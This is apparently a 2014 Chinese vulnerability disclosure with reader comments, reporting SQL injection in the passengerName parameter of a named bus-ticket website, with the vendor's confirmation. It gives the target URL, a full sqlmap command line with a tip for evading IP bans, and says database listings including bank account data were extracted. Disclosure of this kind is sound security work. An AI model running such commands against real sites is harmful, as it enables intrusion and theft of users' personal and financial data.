12308汽车票网注入漏洞获取大量信息

http://usercenter.12308.com/passenger/listPage.html passengerName参数存在注入。

sqlmap.py -r temp.txt -p passengerName --dbms=mysql -v 3 --dbs --time-sec=20，过频访问好像被禁ip，要加参数--time-sec

数据库信息。

表单信息，好像有关于银行账户的。

列信息。

点到为止，赶紧修复吧，银行信息都出来了。

你们比我清楚。

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-10-31 18:02

厂商回复：

相关漏洞修复中，感谢北冥之鱼发现指出漏洞。

最新状态：

暂无

1. 2014-10-31 13:55 | 海绵宝宝 ( 普通白帽子 | Rank:369 漏洞数:86 | 唯有梦想与好姑娘不可辜负.)

   1

   为毛我没注出来。。。数据库名都没读出来

   1# 回复此人

2. 2014-10-31 14:00 | 北冥之鱼 ( 路人 | Rank:17 漏洞数:5 | 喜欢信息安全技术)

   1

   @海绵宝宝 估计是注入位置不对呗

   2# 回复此人

3. 2014-12-01 10:22 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力，而是努力了才...)

   2

   @北冥之鱼 牛逼哦，求注入姿势啊

   3# 回复此人

4. 2014-12-01 22:45 | 北冥之鱼 ( 路人 | Rank:17 漏洞数:5 | 喜欢信息安全技术)

   1

   @黑吃黑 运气好而已，让一个有问题的请求来到了我的眼前。一验证，果然有问题，就是这样

   4# 回复此人

5. 2014-12-16 11:35 | BMa ( 核心白帽子 | Rank:2078 漏洞数:229 )

   1

   同一天 - - ！ 2014-10-31 12308.com某站存在SQL漏洞 未通过 非匿名

   5# 回复此人